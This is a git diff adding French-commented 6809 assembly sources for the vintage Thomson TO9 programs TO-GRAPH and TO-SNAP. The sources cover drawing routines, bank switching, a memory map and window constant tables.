+*=======================================
+* S/P traitement visu/effac. des outils
+* ligne en mode TIRE
+*=======================================
+
+INVLIG EQU *
+*---------------------------------------
+
+ LDA ETAOUT
+ CMPA #TIRE
+ BNE XIF ->
+ LDB OUTIL
+ LSLB
+ ADDB OUTIL
+ LEAX XINOUT,PCR
+ JSR B,X
+XIF RTS ->>
+*---------------------------------------
+XINOUT LBRA XIF points
+ LBRA XILIGN
+ LBRA XIRECT
+ LBRA XIRECT carré
+ LBRA XIELLI
+ LBRA XIELLI cercle
+ LBRA XIF caractère
+ LBRA XIF peinture
+ LBRA XIF gomme
+ LBRA XIF loupe
+ LBRA XIF couper copier
+ LBRA XIF coller
+*---------------------------------------
+
+XIRECT EQU *
+*-----
+ JSR FENDES
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRRECT
+ JSR FENACT
+ RTS
+
+XILIGN
+*-----
+ JSR FENDES
+ JSR TRINV ancien tracé
+ JSR TRLIGN
+ JSR FENACT
+ RTS
+
+XIELLI EQU *
+*-----
+ JSR FENDES
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRELLI
+ JSR FENACT
+ RTS
+
+
+*=======================================
+* S/P expension d'un caractère dans
+* les 4 tailles standards en la
+* position souris courante
+*
+* Entrée: X coordonnées souris
+* Y
+* TXTMOT motif du caractère
+*=======================================
+
+EXPCAR PSHS D,X,Y,U
+ LEAS -4,S
+CPTC SET 0
+FLGL SET 1 flag double haut
+FLGC SET 2 flag double larg
+LIGMOT SET 3
+PD SET 4
+PX SET 6
+PY SET 8
+*---------------------------------------
+ LDB #$13 transparent ?
+ JSR FENCH
+ LDB VAL,X
+ CMPB #ON
+ BEQ EXPA0 ->
+ JSR TRRAZ effacement zone
+ LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ LDX PX,S
+ STX XXXXXX
+ LDY PY,S
+ STY YYYYYY
+ LEAX 7,X
+ LEAY -7,Y
+ LDA TCAR
+ CMPA #TCN
+ BEQ EXPA01 ->
+ CMPA #TCDH
+ BEQ EXPA00 ->
+ LEAX 8,X
+ CMPA #TCDL
+ BEQ EXPA01 ->
+EXPA00 LEAY -8,Y
+EXPA01 LDB #BOX
+ JSR EXTRA
+ JSR TRNORM
+
+EXPA0 LDY PY,S
+ LDU #TXTMOT
+
+EXPA1 CLR FLGL,S
+EXPA2 LDA #8
+ STA CPTC,S
+ LDX PX,S
+ LDA ,U
+ STA LIGMOT,S
+
+EXPA3 CLR FLGC,S
+EXPA4 LDA LIGMOT,S
+ LSLA
+ BCC EXPA5 ->
+ LDB #PSETXY
+ JSR EXTRA
+
+EXPA5 LEAX 1,X
+
+ TST FLGC,S
+ BNE EXPA6 ->
+ COM FLGC,S
+ LDA TCAR
+ CMPA #TCN
+ BEQ EXPA6 ->
+ CMPA #TCDH
+ BEQ EXPA6 ->
+ BRA EXPA4 double larg. ->
+
+EXPA6 LSL LIGMOT,S
+ DEC CPTC,S
+ BNE EXPA3 ->
+
+ LEAY -1,Y
+
+ TST FLGL,S
+ BNE EXPA7 ->
+ COM FLGL,S
+ LDA TCAR
+ CMPA #TCN
+ BEQ EXPA7 ->
+ CMPA #TCDL
+ BEQ EXPA7 ->
+ BRA EXPA2 double haut. ->
+
+EXPA7 LEAU 1,U
+ CMPU #TXTMOT+8
+ LBNE EXPA1 ->
+
+ JSR TRNORM
+
+ LEAS 4,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P inversion du tiroir pour visu.
+* temporaire
+*=======================================
+
+INVTIR PSHS U
+ LDU #XINVTI
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P efface la loupe de pointage
+*=======================================
+
+RAZLOU LEAS -1,S
+MEMTL SET 0
+*---------------------------------------
+ JSR FENDES
+ LDA TLIGN
+ STA MEMTL,S
+ LDA #2
+ STA TLIGN
+ TST FLGLOU
+ BEQ RAZLOF ->
+
+ JSR TRINV
+ CLR FILFLG
+ JSR TRRECT
+
+ LDA FLGLOU
+ CMPA #2
+ BNE RAZLOF ->
+
+ LDA $E7C3 restau 1ére page
+ ORA #1
+ STA $E7C3
+ LDX #$4000
+ LEAX 40*8*3,X
+ LDB COLLOU
+ LSRB
+ LEAX B,X
+ LDA #BKMANO
+ STA BANKC
+ LDY #$A000
+ LDU #18*8
+RAZLO0 LDA #9
+RAZLO1 LDB ,Y+
+ STB ,X+
+ DECA
+ BNE RAZLO1 ->
+ LEAX 31,X
+ LEAU -1,U
+ CMPU #0
+ BNE RAZLO0 ->
+
+ LDA $E7C3 sauver 2éme page
+ EORA #1
+ STA $E7C3
+ LDX #$4000
+ LEAX 40*8*3,X
+ LDB COLLOU
+ LSRB
+ LEAX B,X
+ LDU #18*8
+RAZLO2 LDA #9
+RAZLO3 LDB ,Y+
+ STB ,X+
+ DECA
+ BNE RAZLO3 ->
+ LEAX 31,X
+ LEAU -1,U
+ CMPU #0
+ BNE RAZLO2 ->
+ LDA #BKTIR
+ STA BANKC
+
+RAZLOF CLR FLGLOU
+ LDA MEMTL,S
+ STA TLIGN
+ LEAS 1,S
+ RTS
+
+
+*=======================================
+* S/P visualise tortue selon tiroir
+* (tortue std si tiroir vide)
+*=======================================
+
+TORCOL LEAS -80,S
+DEBTOR SET 0
+*---------------------------------------
+ TST FLGTIR
+ BNE TORCO0 ->
+ LDD #0 tortue std
+ LBRA TORCOF ->
+TORCO0 EQU *
+ LEAX DEBTOR,S
+ LDD #$4C31 'L128'
+ STD ,X++
+ LDD #$3238
+ STD ,X++
+ LDA #$55 'Uxxx'
+ STA ,X+
+ LDD <LPTTIR
+ LSRA
+ RORB
+ JSR DEPTOR
+ LDD #$5236 'R64Uxxx'
+ STD ,X++
+ LDD #$3455
+ STD ,X++
+ CLRA
+ LDB <HPTTIR
+ LSRB
+ JSR BINDCG
+ ABX
+ LDD #$4C31 'L128'
+ STD ,X++
+ LDD #$3238
+ STD ,X++
+ LDA #$44 'Dxxx'
+ STA ,X+
+ CLRA
+ LDB <HPTTIR
+ DECB
+ JSR BINDCG
+ ABX
+ LDD #$4C36 'L64Dxxx'
+ STD ,X++
+ LDD #$3444
+ STD ,X++
+ LDD <LPTTIR
+ SUBD #1
+ JSR DEPTOR
+ LDD #$4C36 'L64Dxxx'
+ STD ,X++
+ LDD #$3444
+ STD ,X++
+ CLRA
+ LDB <HPTTIR
+ DECB
+ JSR BINDCG
+ ABX
+ LDD #$4C36 'L64Dxxx'
+ STD ,X++
+ LDD #$3444
+ STD ,X++
+ LDD <LPTTIR
+ SUBD #1
+ JSR DEPTOR
+ TFR X,D
+ LEAX DEBTOR,S
+ PSHS X
+ SUBD ,S++
+ LDA #1
+
+TORCOF JSR FENTOR
+ JSR FENACT
+ LEAS 80,S
+ RTS
+
+
+*=======================================
+* S/P fixe fenêtre graphique sur zone
+* travail
+*=======================================
+
+TRAMIN PSHS D
+ LDD #32
+ STD XL
+ LDD #623
+ STD XR
+ LDD #8
+ STD YB
+ LDD #191
+ STD YT
+ PULS D,PC
+
+
+*=======================================
+* S/P fixe fenêtre graphique sur écran
+* total
+*=======================================
+
+TRAMAX PSHS D
+ LDD #0 restaure écr trav
+ STD XL
+ STD YB
+ LDD #639
+ STD XR
+ LDD #199
+ STD YT
+ PULS D,PC
+
+
+*=======================================
+* S/P tracé d'une ellipse dans les 3
+* tailles possibles
+* Entrée: X0TIRE coordonnées centre
+* Y0TIRE
+* X1TIRE rayons
+* Y1TIRE
+* Nb: Le mode de dessin doit être
+* déterminé à l'appel il est remis
+* en normal après traitement ...
+* Idem pour FILFLG
+*=======================================
+
+TRELLI PSHS D,X,Y
+*---------------------------------------
+ JSR TRAMIN
+
+ LDX X0TIRE
+ STX XXXXXX
+ LDA X1TIRE
+ STA AXEH
+ LDY Y0TIRE
+ STY YYYYYY
+ LDA Y1TIRE
+ STA AXEV
+ CLR CAMFLG
+ LDB #CIRCLE
+ JSR EXTRA
+ LDB TLIGN
+ CMPB #1
+ BEQ TRELLF ->
+ CLR FILFLG
+ LDA X1TIRE
+ INCA
+ STA AXEH
+ LDA Y1TIRE
+ INCA
+ STA AXEV
+ LDB #CIRCLE
+ JSR EXTRA
+ LDB TLIGN
+ CMPB #2
+ BEQ TRELLF ->
+ LDA X1TIRE
+ INCA
+ INCA
+ STA AXEH
+ LDA Y1TIRE
+ INCA
+ INCA
+ STA AXEV
+ LDB #CIRCLE
+ JSR EXTRA
+
+TRELLF JSR TRAMAX
+ JSR TRNORM
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P tracé d'une droite dans les 3
+* tailles possibles
+* Entrée: X0TIRE coordonnées
+* Y0TIRE
+* X1TIRE
+* Y1TIRE
+* Nb: Le mode de dessin doit être
+* déterminé à l'appel il est remis
+* en normal après traitement ...
+*=======================================
+
+TPOINT FCB 0,0,0,1,1,1,1,0,1,-1,0,-1
+ FCB -1,-1,-1,0,-1,1
+TPTV FCB 0,0,0,1,0,-1
+TPTH FCB 0,0,1,0,-1,0
+*---------------------------------------
+TRLIGN PSHS D,X,Y,U
+ LEAS -5,S
+NBPTS SET 0
+DELTAX SET 1
+DELTAY SET 3
+*---------------------------------------
+ JSR TRAMIN
+
+ LDA TLIGN calcul nb points
+ TFR A,B pour un pavé
+ MUL
+ STB NBPTS,S
+ LEAU TPOINT,PCR
+ LDD X0TIRE
+ CMPD X1TIRE
+ BNE LTRLI0 ->
+ LDD Y0TIRE
+ CMPD Y1TIRE
+ BNE LTRLI0 ->
+ LBRA BTRLI0 pavé ->
+
+LTRLI0 LDA TLIGN cas des tracés
+ STA NBPTS,S
+ LDD X1TIRE
+ SUBD X0TIRE
+ BGE LTRLI1 ->
+ LDD X0TIRE
+ SUBD X1TIRE
+LTRLI1 STD DELTAX,S
+ LDD Y1TIRE
+ SUBD Y0TIRE
+ BGE LTRLI2 ->
+ LDD Y0TIRE
+ SUBD Y1TIRE
+LTRLI2 STD DELTAY,S
+ CMPD DELTAX,S
+ BGE LTRLIH ->
+ LEAU TPTV,PCR pts verticaux
+ BRA BTRLI0 ->
+LTRLIH LEAU TPTH,PCR pts horizontaux
+
+BTRLI0 LDX X0TIRE
+ LDA ,U
+ LEAX A,X
+ STX XXXXXX
+ LDX X1TIRE
+ LDA ,U+
+ LEAX A,X
+ LDY Y0TIRE
+ LDA ,U
+ LEAY A,Y
+ STY YYYYYY
+ LDY Y1TIRE
+ LDA ,U+
+ LEAY A,Y
+ LDB #LINE
+ JSR EXTRA
+
+ DEC NBPTS,S
+ BNE BTRLI0 ->
+
+ JSR TRAMAX
+ JSR TRNORM
+ LEAS 5,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P tracé d'un rectangle dans les 3
+* tailles possibles
+* Entrée: X0TIRE coordonnées début
+* Y0TIRE
+* X1TIRE coordonnées fin
+* Y1TIRE
+* Nb: Le mode de dessin doit être
+* déterminé à l'appel il est remis
+* en normal après traitement ...
+* Idem pour FILFLG
+*=======================================
+
+TRRECT PSHS D,X,Y,U
+ LEAS -8,S
+X0LOC SET 0
+Y0LOC SET 2
+X1LOC SET 4
+Y1LOC SET 6
+*---------------------------------------
+ JSR TRAMIN
+
+ LDD X0TIRE Mettre les coor.
+ LDX X1TIRE au mieux !!!
+ CMPD X1TIRE
+ BCS RGPLG0 ->
+ EXG D,X
+RGPLG0 STD X0LOC,S
+ STX X1LOC,S
+
+ LDD Y0TIRE
+ LDX Y1TIRE
+ CMPD Y1TIRE
+ BCS RGPLG1 ->
+ EXG D,X
+RGPLG1 STD Y0LOC,S
+ STX Y1LOC,S
+
+ LEAU X0LOC,S
+ BSR TRBOX
+
+ LDB TLIGN
+ CMPB #1
+ BEQ TRRECF ->
+ CLR FILFLG
+ LDD X0LOC,S
+ SUBD #1
+ STD X0LOC,S
+ LDD Y0LOC,S
+ SUBD #1
+ STD Y0LOC,S
+ LDD X1LOC,S
+ ADDD #1
+ STD X1LOC,S
+ LDD Y1LOC,S
+ ADDD #1
+ STD Y1LOC,S
+ BSR TRBOX
+
+ LDB TLIGN
+ CMPB #2
+ BEQ TRRECF ->
+ LDD X0LOC,S
+ SUBD #1
+ STD X0LOC,S
+ LDD Y0LOC,S
+ SUBD #1
+ STD Y0LOC,S
+ LDD X1LOC,S
+ ADDD #1
+ STD X1LOC,S
+ LDD Y1LOC,S
+ ADDD #1
+ STD Y1LOC,S
+ BSR TRBOX
+
+TRRECF JSR TRAMAX
+ JSR TRNORM
+ LEAS 8,S
+ PULS D,X,Y,U,PC ->>
+*---------------------------------------
+
+TRBOX LDX X0LOC,U
+ STX XXXXXX
+ LDX X1LOC,U
+ LDY Y0LOC,U
+ STY YYYYYY
+ LDY Y1LOC,U
+ LDB #BOX
+ JSR EXTRA
+ RTS
+
+
+*=======================================
+* S/P sélection du mode de tracé
+*=======================================
+
+TRNORM PSHS D # normal
+ CLRA
+ BRA TRCHOI ->
+TRTRAN PSHS D # transparent
+ LDA #1
+ BRA TRCHOI ->
+TRINV PSHS D # inversion
+ LDA #2
+ BRA TRCHOI ->
+TRRAZ PSHS D # tracé en 0
+ CLRA
+ STA TRATYP
+ LDA #-1
+ STA COULGR
+ BRA XTR0 ->
+TRCHOI STA TRATYP
+ CLR COULGR
+XTR0 LDB #CHOIX
+ JSR EXTRA
+ PULS D,PC
+
+
+*=======================================
+* S/P détermination des variables de
+* tracé pour les remplissages
+*=======================================
+
+TRREMP JSR TRNORM
+ JSR TRAMIN
+ CLR FILFLG
+ LDB #$12 rempli ?
+ JSR FENCH
+ LDB VAL,X
+ CMPB #OFF
+ BEQ TRREM0 ->
+ COM FILFLG
+ LDD #MOTIF
+ STD MACP
+ LDB #$13 transparent ?
+ JSR FENCH
+ LDB VAL,X
+ CMPB #OFF
+ BEQ TRREM0 ->
+ JSR TRTRAN
+TRREM0 RTS
+
+
+*=======================================
+* S/P visualisation temporaire de la
+* loupe sous forme d'une boite en
+* taille 3 selon les coord.
+* (REGX/REGY)
+* Si FLGLOU = 0 on suppose 1er passe
+*=======================================
+
+VISLOU LEAS -1,S
+MEMTL SET 0
+*---------------------------------------
+ JSR FENDES
+ JSR TRINV
+ LDA TLIGN
+ STA MEMTL,S
+ LDA #2
+ STA TLIGN
+ TST FLGLOU
+ BEQ NOUVL0 ->
+ JSR TRINV
+ CLR FILFLG
+ JSR TRRECT
+
+NOUVL0 LDA #1
+ STA FLGLOU
+ LDD REGY
+ CMPD #24
+ BGT NOUVL1 ->
+ LDD #7
+ BRA NOUVL5 ->
+NOUVL1 CMPD #176
+ BLT NOUVL2 ->
+ LDD #159
+ BRA NOUVL5 ->
+NOUVL2 SUBD #17
+
+NOUVL5 STD Y0TIRE
+ ADDD #33
+ STD Y1TIRE
+
+ LDD REGX
+ CMPD #48
+ BGT NOUVL6 ->
+ LDD #31
+ BRA NOUVL9 ->
+NOUVL6 CMPD #608
+ BLT NOUVL7 ->
+ LDD #591
+ BRA NOUVL9 ->
+NOUVL7 SUBD #17
+
+NOUVL9 STD X0TIRE
+ ADDD #33
+ STD X1TIRE
+
+ JSR TRINV
+ CLR FILFLG
+ JSR TRRECT
+
+ JSR FENACT
+ LDA MEMTL,S
+ STA TLIGN
+ LEAS 1,S
+ RTS
+
+
+*=======================================
+* S/P visualisation temporaire du
+* tiroir en la position souris
+* courante (REGX/REGY)
+* Maintient jusqu'à:
+* - déplacement souris
+* - clic gauche
+* - fin clic droit
+*=======================================
+
+TMPTIR EQU *
+*---------------------------------------
+ JSR FENDES
+ TST FLGTIR
+ BNE VISTI0 ok ->
+ LDX #MTIRVI
+ JSR FENERR
+ LBRA VISTIF ->
+
+VISTI0 JSR INVTIR visu. tempor.
+VISTI1 JSR GETL
+ BCS VISTI1 ->
+ CMPX REGX
+ BNE VISTI9 déplac. ->
+ CMPY REGY
+ BNE VISTI9 déplac. ->
+ JSR LPIN
+ BCS VISTI9 clic gauche ->
+ BNE VISTI9 fin .. droit->
+ BRA VISTI1 ->
+VISTI9 JSR INVTIR fin visu. temp.
+
+VISTIF JSR FENACT
+ RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM
new file mode 100755
index 0000000..57f9b36
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH.ASM
@@ -0,0 +1,207 @@
+ TITLE TO-GRAPH:
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* GESTION TO9 GRAPHIQUE *
+* *
+****************************************
+* *
+* Sources: *
+* *
+* FEN-EQU .ASM Equates du fenêtrage *
+* GRAPH-EQ.ASM Equates *
+* GRAPH-CN.ASM Constantes *
+* GRAPH-MN.ASM Gestion menus déroul *
+* GRAPH-F .ASM Gestion feuille *
+* GRAPH-X1.ASM Traitements graphiques*
+* GRAPH-X2.ASM ... outillage de base *
+* GRAPH-IP.ASM ... cadrage+impression*
+* GRAPH-PR.ASM Programme principal *
+* GRAPH .ASM Structure *
+* *
+****************************************
+* *
+* Exécutable destiné à être chargé en *
+* aplication avec le module de *
+* fenêtrage FEN.BIN *
+* *
+****************************************
+* *
+* Carte mémoire: *
+* *
+** Banks RAM cartouche *
+* *
+* No 1 : Soft, constantes et données *
+* pseudo statique (motifs...) *
+* No 2 : En $1800, S/P de fenêtrage *
+* En $20, S/P de recopie des *
+* S/P FEN vers $7800 *
+* *
+** Banks données : *
+* *
+* bank 2 : Tiroir *
+* bank 3 *
+* .. 6 : Pile des fenêtres *
+* Nb: le bank 6 sert également*
+* de zone de manoeuvre *
+* (codage décodage d' *
+* image, remplissage, *
+* gestion fichier ... *
+* bank 7 *
+* .. 12: Feuille de travail *
+* bank 13 *
+* ... : Albums (max. 16) *
+* *
+** RAM "en ligne" *
+* *
+* $0000..$3FFF: Soft, constantes et *
+* données pseudo stati- *
+* ques (cartouche) *
+* $6000..$62FF: RAM moniteur/extramon *
+* $6300..$67FF: Pile (#1ko) *
+* $6800..$6FFF: RAM soft (2ko) *
+* $7000..$77FF: Zones DOS 5 dsk 2fic. *
+* $7800..$9FFF: Copie active des S/P *
+* de fenêtrage (10ko) *
+* $A000..$DFFF: Tiroir *
+* *
+****************************************
+* *
+* Production: *
+* Sous 6809-ASM: *
+* - L GRAPH *
+* - A GRAPH/NL/NS assemblage sans *
+* liste *
+* Sous CR-APPLI: *
+* *
+* - Charger GRAPH.BIN (base $0000) *
+* - Charger FEN.BIN (base $5800) *
+* - Créer TO-GRAPH.CHG sur 2 banks *
+* *
+****************************************
+
+
+BASEF EQU $7800 implant. soft
+* fenêtrage !!!
+
+ INCLUD FEN-EQU équates FEN
+
+ INCLUD GRAPH-EQ
+
+ SETDP MANTIR/256
+
+*************** bank 1 *****************
+
+ ORG $22
+
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*---------------------------------------
+
+L0022 INC $E7E6 en fait sur BK2!
+ LDX #$1800
+ LDY #$7800
+BCPIF1 LDD ,X++
+ STD ,Y++
+ CMPX #$4000
+ BNE BCPIF1 ->
+ DEC $E7E6
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC $E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC $E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+ DEC $E7E6
+ JSR ,U
+ PSHS CC
+ INC $E7E6
+ PULS CC
+ RTS
+
+****************************************
+
+ INCLUD GRAPH-CN
+
+ INCLUD GRAPH-MN
+
+ INCLUD GRAPH-F
+
+ INCLUD GRAPH-X1
+
+ INCLUD GRAPH-X2
+
+ INCLUD GRAPH-IP
+
+ INCLUD GRAPH-PR
+
+
+*************** bank 2 *****************
+
+ ORG $4022
+
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*---------------------------------------
+
+ INC $E7E6
+ LDX #$1800
+ LDY #$7800
+BCPIF2 LDD ,X++
+ STD ,Y++
+ CMPX #$4000
+ BNE BCPIF2 ->
+ DEC $E7E6
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+ INC $E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC $E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC $E7E6
+ JSR ,U
+ PSHS CC
+ INC $E7E6
+ PULS CC
+ RTS
+
+* S/P de la cartouche no 2
+*---------------------------------------
+
+ INCLUD GRAPH-C1 version ok
+
+* INCLUD GRAPH-D1 version démo
+
+ INCLUD GRAPH-C2
+
+ END
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM
new file mode 100755
index 0000000..b908fe9
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-CN.ASM
@@ -0,0 +1,1031 @@
+ TITLE TO-GRAPH: constantes
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* constantes *
+* *
+****************************************
+
+****************************************
+* F E N E T R E S *
+****************************************
+
+* Fenêtre principale
+*---------------------------------------
+
+FENVID FCB FSTOP
+
+MIGDIN FCB ABS
+ FCB LFCUR
+ FDB 9*8,19*8+4
+ FCB ROND,12,12
+ FCB REL
+ FCB FCUR,-2,-12
+ FCB BOITE,4,3
+ FCB FCUR,6,7
+ FCB ROND,2,2
+ FCB FCUR,-16,0
+ FCB ROND,2,2
+ FCB FCUR,0,6
+ FCB ROND,2,2
+ FCB FCUR,16,0
+ FCB ROND,2,2
+ FCB FCUR,-8,4
+ FCB ROND,2,2
+ FCB STOP
+FMIGDI EQU *
+
+FENHLP FCB FLOCF,0,0,25,40
+ FCB FCOULF,VERTCL
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,1,38
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FEDI,ESC,$4E
+ FCC \MODED'EMPLOI\
+ FCB ESC,$4C,0
+ FCB FCOULF,TRANSP
+ FCB FLOCF,3,1,19,38
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,23,1,1,26
+ FCB FFOND,FTOURE,FCADRE
+ FCB FTEXTE
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCR,0,5,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCR,0,18,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FLOCF,23,29,1,4
+ FCB FFOND,FTOURE,FCADRE
+ FCB FEDI,HT,ESC,$4E,SS2,$2D
+ FCB ESC,$4C,0
+ FCB FPOUSS,VT,OFF
+ FCB FLOCF,23,35,1,4
+ FCB FFOND,FTOURE,FCADRE
+ FCB FEDI,HT,ESC,$4E,SS2,$2F
+ FCB ESC,$4C,0
+ FCB FPOUSS,LF,OFF
+ FCB FSTOP
+
+FENLAN FCB FLOCF,0,0,17,29
+ FCB FCOULF,VERTCL
+ FCB FTRAME,FTOURI
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,1,27
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FEDI,$20,$1B,$4E
+ FCC \LANCEMENT\
+ FCB $1B,$4C,0
+
+ FCB FLOCF,3,1,13,27
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,4,2,1,25
+ FCB FPOUSS,$90,OFF
+
+ FCB FLOCF,5,2,1,25
+ FCB FPOUSS,$91,OFF
+
+ FCB FLOCF,6,2,1,25
+ FCB FPOUSS,$92,OFF
+
+ FCB FLOCF,7,2,1,25
+ FCB FPOUSS,$93,OFF
+
+ FCB FLOCF,8,2,1,25
+ FCB FPOUSS,$94,OFF
+
+ FCB FLOCF,10,2,1,25
+ FCB FEDI
+ FCC \Bootdisquette\
+ FCB 0
+ FCB FPOUSS,$95,OFF
+
+ FCB FLOCF,12,3,1,25
+ FCB FTEXTE,BALISE
+ FCC \Auto\
+ FCC \(oct.)\
+ FCB 0
+ FCB FLOCR,0,0,1,1
+ FCB FINV,$01,OFF
+ FCB FLOCR,0,16,1,2
+ FCB FPOUSS,254,INTERD
+
+ FCB FLOCF,14,3,1,16
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,$53,OFF
+
+ FCB FLOCR,0,17,1,2
+ FCB FEDI
+ FCC \en\
+ FCB 0
+
+ FCB FLOCR,0,3,1,4
+ FCB FTOURE,FCADRE
+ FCB FCZI,255,HEXA
+
+ FCB FSTOP
+
+FENINF FCB FLOCF,0,0,16,23
+ FCB FCOULF,VERTCL
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,1,21
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FEDI,$1B,$4E
+ FCC \INFO\
+ FCB $1B,$4C,0
+
+ FCB FLOCF,3,1,10,21
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,4,1,1,21
+ FCB FEDI
+ FCC \TourPaletteBVR\
+ FCB 0
+
+ FCB FLOCF,6,2,4,2
+ FCB FCOULF,PARME
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FPOUSS,$58,INTERD
+
+ FCB FLOCF,6,5,2,1
+ FCB FTOURE
+ FCB FTEXTE,$2B,$2D,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$54,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$55,OFF
+
+ FCB FLOCF,9,5,1,2
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,$59,INTERD
+
+ FCB FLOCF,6,9,4,2
+ FCB FCOULF,ORANGE
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+
+ FCB FLOCF,6,12,2,1
+ FCB FTOURE
+ FCB FTEXTE,$2B,$2D,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$50,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$51,OFF
+
+ FCB FLOCF,9,12,1,2
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,$5A,INTERD
+
+ FCB FLOCF,6,16,2,1
+ FCB FTOURE
+ FCB FTEXTE,$2B,$2D,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$42,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$43,OFF
+
+ FCB FLOCF,6,18,2,1
+ FCB FTOURE
+ FCB FTEXTE,$2B,$2D,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$56,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$57,OFF
+
+ FCB FLOCF,6,20,2,1
+ FCB FTOURE
+ FCB FTEXTE,$2B,$2D,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$52,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,$53,OFF
+
+ FCB FLOCF,9,16,1,5
+ FCB FTOURE,FCADRE
+ FCB FEDI
+ FCC \--\
+ FCB 0
+ FCB FPOUSS,$48,INTERD
+
+ FCB FLOCF,11,2,1,4
+ FCB FEDI
+ FCC \Mode\
+ FCB 0
+ FCB FLOCR,0,5,1,14
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,$4D,OFF
+
+ FCB FLOCF,14,1,1,21
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FTEXTE
+ FCC \Ok\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCR,0,5,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCR,0,13,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+FFPEL FCB FLOCF,0,0,23,22
+ FCB FCOULF,VERTCL
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+
+ FCB FLOCF,1,1,1,2
+ FCB FEDI,HT,$30,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,HT,$32,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,HT,$34,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,HT,$36,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,HT,$38,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$31,$30,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$31,$32,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$31,$34,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$31,$36,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$31,$38,0
+ FCB FLOCR,2,0,1,2
+ FCB FEDI,$32,$30,0
+
+ FCB FLOCF,1,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,200,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,201,OFF
+
+ FCB FLOCF,3,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,202,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,203,OFF
+
+ FCB FLOCF,5,4,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,204,OFF
+ FCB FLOCR,0,9,1,8
+ FCB FTOURE,FCADRE
+ FCB FINV,205,OFF
+
+ FCB FLOCF,7,4,1,8
+ FCB FTOURE,FCADRE
